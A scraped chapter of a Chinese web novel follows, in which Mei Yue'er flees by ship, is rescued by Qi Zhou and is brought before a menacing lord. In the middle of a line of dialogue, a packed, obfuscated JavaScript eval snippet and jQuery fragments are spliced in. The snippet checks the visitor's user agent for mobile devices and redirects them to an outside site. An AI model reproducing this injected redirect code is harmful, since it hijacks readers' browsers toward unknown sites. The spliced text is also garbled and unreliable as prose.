21. 翠花
作品:《误认太子为兄长》 天初亮,梅月儿离开齐郡,到了卷云港口。
她下了小舟,将另一半的钱付给撑篙人,不顾梳洗,立即前往福船聚集的地方,打听乘船前往幽州之事。
她买了一件帷帽,薄纱遮住面庞,以免惹出祸端。问茶馆堂倌:“小哥,我要乘船去幽州投亲靠友,不知道怎样同出港的福船一起走,岸边那几艘雕梁画栋的巨船,又是哪一家的?”
堂倌打量她几眼,看她风尘仆仆,真是个外乡旅人,便道:“你真是问对人了,你只需跟管海上客商的高老爷说一声,花几个钱便是了。喏,对面就是高老爷的货运行。至于那几艘船……嘿嘿,那是玉京的生意!”
梅月儿一听“玉京”两个字就紧张,她呼吸微滞,小声道:“玉京的……来这儿做什么?”
堂倌伸手示意,她从荷包里取出几个钱给他。小哥这才说了:“据说是上面的大人物——奉命来青、幽、并、冀四州,巡视盐务。再多的,我们哪儿能知道。”
梅月儿更紧张了,悄悄道:“只是巡盐吗?不会是抓人来的吧?”
堂倌道:“抓什么人?咱们这儿太太平平的。姑娘,你要乘船,可得避开那几艘豪奢的官船,官老爷,咱们可惹不起。”
梅月儿小鸡啄米般点头。
问好了情况,她快速喝完茶,立即行动。先是雇了两个镖行的镖师,保护她走水路到幽州去,随即带着镖师拜会了那位高老爷的货运行,买了上船的资格。
如果不是情势逼人,梅月儿也想不到自己竟然能这么利利索索地办完这好些事。
好在从小形形色色的人见得多了,让她在市井之中如鱼得水。到了傍晚时分,她已经上了福船,分得一间客房。
房间很小,还算干净。
次日晨,这艘福船给那几艘朝廷的巨船让路,远远地跟着官船行驶。
梅月儿没有胃口吃东西,只勉强啃了半个饼,把所剩的钱数了又数,想着到了幽州该做什么去,寻个什么营生养活自己?
正想着,忽然之间,她顺着小窗看到下方一阵喧闹。在福船的主甲板方向,有一队佩刀的官差上船,拿着一个什么东西,正在跟船东说话。
晨雾四起,梅月儿也看不清楚。
……总不能是来找她的吧?这都已经是青州边界了。
她又看了一眼前方巨船的影子,按了按胸口,劝自己安心。此刻已经无处逃、也没办法躲了,薛怀瑾要这么快就追查到自己,那自个儿的时运也太不济了!
到时候洗干净脖子给他砍就是了,怕死,还逃什么?
这一番心理建设下来,她稍稍安心。随后才一口茶下肚,猛听到喧闹声已经到了门外!
就在这一溜儿客舱的廊上,官差走路的脚步声沉沉地踩着船板。梅月儿竖起耳朵,模糊听到盘问的声音——
“青州的……行商资格……户籍文书……”
她的水路路引都是托付那位海上的高老爷办理的,如果寻常检查,还可混得过去,但要是仔细勘验,恐怕就瞒不住了。
梅月儿的心提到了嗓子眼里。
下一刻,门板被敲出“砰砰砰”的巨响。
无人开门,外面的官差彼此对视一眼,高声道:“青州府办事!开门!”
门内依旧无声。
领头的退后几步,边说边道:“你不开门,那我们可就得罪了!”说着,一脚踹开了木门,两个门板吱呀地乱颤,几乎就要损坏。
里面空空荡荡。被褥叠好,连个包袱都没有。
“这是什么回事?”领头的道,“你们不是说这间也有人吗?”
那船东赶紧翻看名字,不敢担这个责任,马上道:“是有人,是有一个叫翠花的小丫头,据说是死了丈夫,回家乡的。这会儿不知道为什么不在。”
“去找!”领头的命令道。
身后的几个官差、还有船东的人马听到这句话,全都分头去寻人。剩下一队,按照名册继续盘问查人。
就在人马散去四周,离开房门口时,梅月儿紧绷的精神才稍微松了那么一点点。
官差敲门的瞬间,她被一只手猛然捉住后领,连叫声也没发出就让捂住了嘴巴,一个跳跃,便跟抓她的人一起猫在了船舱顶上,趁着晨雾,像两只黑漆漆的影子。
梅月儿不知是谁,被捂了嘴下意识就狠咬下去。随着她牙尖嘴利的一咬,身后浮现出一道呼吸声,却没有松手,连手都没动。
她挣扎了两下,然而船舱下就是海面。对方圈着自己腰的手掌一松,她就差点掉下去——梅月儿冒了一背的冷汗,不敢动了。
官差离开后,捂着她嘴的手才缓缓松开。梅月儿猛地扭头看过去,一呆,失声道:“齐观静!”
齐骤啪地一声又捂住了她的嘴。
梅月儿:“……”
两人四目相对,半晌,梅月儿冲他眨眨眼,齐骤缓缓移开手,被咬出血的掌心流出鲜红的血滴,顺着他的指尖,一路滴到下面的绞车上。
梅月儿震惊不已,但还努力压低声音:“你怎么在这儿?你不是在京畿附近被劫走了么?”
齐骤摸了摸自己的脸,他正在易容,五官一点儿特色也没有。他道:“你对我有特殊的辨认技巧?”
梅月儿连忙道:“有的有的,你先说,怎么回事?”
齐骤的脸色一黑。他的易容术在江湖上也是一绝,梅月儿竟然每次都能精准地认出他。他抬手弹了梅月儿的额头,道:“我都跟着你很久了。”
梅月儿捂住额头:“什么时候?”
“从你来卷云港口。”他说,“我找了你几日。一回青州,就听到薛怀瑾在齐郡封城的消息,他的动静可不小,我想你如果走陆路就已经被抓回去了,所以来水路碰碰运气。”
梅月儿马上又问:“你找我干什么?”
齐骤沉默了一下,说:“我本来就会回来找你的,不过这次来得这么快,是奉命。”
“奉……”梅月儿缓慢咀嚼这两个字,“命……奉谁的命?天道庄的反贼?”
齐骤漆黑的眼睛盯着她:“你也觉得我是反贼吗?”
梅月儿没敢说话,她看了一眼下面,小声道:“你把我安安全全地放下去就不是,你还这么拉着我趴在这么高的地方,那就是了。”
齐骤:“……”
他无语凝噎,道:“翠花姑娘,你死了哪门子的丈夫?”
梅月儿知道他听见自己胡诌的身份了,扬眉笑了一声:“哎呀,丈夫乃身外之物,需要的时候死一个就是了。齐观静,你快放我下去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465388|184419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我们商量商量该怎么走。”
齐骤拉住她的手腕,道:“你要跟我走,我们公子要见你。”
他口中的“公子”,大概就是让他奉命的那个上级,是天道庄的反贼头子——就算不是,肯定也一定是个刀尖舔血的大人物。
梅月儿一点儿也不想招惹这种人,她连忙道:“还是不要了,我没见过世面,你不要——啊!”
她小声惊呼了一下,马上又闭紧嘴巴,怕招来官兵。齐骤已经半抱着她跳下船舱上方,他动作极其轻盈迅捷,神鬼不觉地离开福船,落在了一叶小舟上。
借着晨起的大雾,小舟如箭离弦,不多时便追上了前方雕梁画栋的巨船。
那几艘巨船极其奢华,船上几乎建着一座楼宇,在底下仰头,都一时看不清究竟有几层。
齐骤拉她上去,梅月儿不肯,抱着小舟的桨不松手:“我不要,我不要去,你放开我。”
她死死地赖在上面:“齐观静,你要把我卖给你家公子了!你们就不能放过我吗,我不想进宫,也不想跟反贼勾结,我就想回家,想回家啊!”
齐骤生拉硬拽,梅月儿抵死不从。他看了一眼雾色,道:“再不走,等雾散了。那些官差发现你,你就要被薛怀瑾抓走,把你切成一片一片的了。”
“他们是奉怀瑾哥的命令来的?”梅月儿警觉地问。
齐骤道:“不然怎么会查船?薛怀瑾把整个青州搅得天翻地覆,就为了抓你。”
梅月儿手一松,双眼含泪,委委屈屈地跟他上船。她用袖子擦眼泪,粗糙的布衣把眼睛揉得红红的。齐骤目光一顿,从袖子里递给她一块手帕。
梅月儿擦擦眼角,一低头,忽然发觉:“这不是我丢的那个吗!”
齐骤扭过头,一言不发。
“你什么时候偷了我的东西?”梅月儿哼了一声,“还说不是贼。”
齐骤:“……”
媚眼抛给瞎子看。
他带着梅月儿走上船舱,登上楼宇。来往武卫成群,到了最高的那一层,香风阵阵,侍者穿梭如云,四周悬挂着薄如蝉翼的轻纱做帘子。
梅月儿越走越心惊。她轻轻拉住齐观静的衣袖,两人一路走到最深处,进了一间温暖如春的正厅。
厅中放着一架五彩琉璃屏风,日光折射出炫目的光彩。屏风后朦胧地映着一个人影。
齐骤领她绕过屏风,低头行礼:“回主上,人带来了,薛琅找得就是她。”
梅月儿大气也不敢喘,往齐观静身后躲了躲,小心翼翼地抬起目光。
地上是雪白的毯子,踩上去软乎乎的。沿着毯子向上看,就在那个人的腿边,竟然卧着一只通体银白、遍布花纹的豹子!
梅月儿喉间发紧,她往后退了半步,才看见那头雪豹的背上有皮革和锁链缝制成的护具,铁链子锁着雪豹的胸背,链子的另一头,正在这位“公子”的手边。
他穿着一身玄色窄袖长袍,锦靴,领口翻出来猩红的血色底衬,头发用一根玉簪子簪起来,碎发未理,手背抵着下颔,饶有兴味地看向梅月儿。
“就是她?”男人声音低沉阴郁,像湿腻的蛇,“太子殿下为什么如此反常,大费周章地找她?我看她脏兮兮的,像个村姑。难道,太子的口味就是这样?”